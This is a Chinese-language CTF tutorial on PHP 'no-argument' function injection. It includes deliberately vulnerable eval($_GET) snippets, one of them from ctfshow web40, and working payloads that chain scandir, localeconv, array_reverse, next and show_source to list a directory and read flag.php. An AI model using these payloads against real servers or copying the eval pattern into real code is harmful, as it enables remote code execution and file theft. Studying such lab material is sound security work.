无参数文件读取
什么是无参数?
顾名思义,就是只使用函数,且函数不能带有参数,这里有种种限制:比如我们选择的函数必须能接受其括号内函数的返回值;使用的函数规定必须参数为空或者为一个参数等。
举个例子:
a(b(c()));可以使用,但是a(‘b’)或者a(‘b’,‘c’)这种含有参数的都不能使用
所以我们要使用无参数的函数进行文件读取或者命令执行。
首先,print_r(scandir(’.’))可以用于可以用来查看当前目录所有文件名。那么要做到无参数,就要构造替代 ‘.’ 。
常见方法:
-
localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."
-
current() 函数返回数组中的当前元素(单元),默认取第一个值,
-
pos() 同 current() ,是current()的别名
-
reset() 函数返回数组第一个单元的值,如果数组为空则返回 FALSE
-
phpversion()返回PHP版本,如5.5.9
-
next() 函数将内部指针指向数组中的下一个元素,并输出。
-
show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
这里使用preg_replace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9_],然后(?R)?这个意思为递归整个匹配模式
所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空。
所以 print_r(scandir(current(localeconv())));就可以成功打印出当前目录下文件。
例:ctfshow web40
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
解:
1 ?c=print_r(scandir(pos(localeconv()))); 发现flag.php在倒数第二个
2 ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
我们可以通过 array_reverse 进行逆转数组,然后用next()函数进行下一个值的读取,成功读取flag.php文件
参考: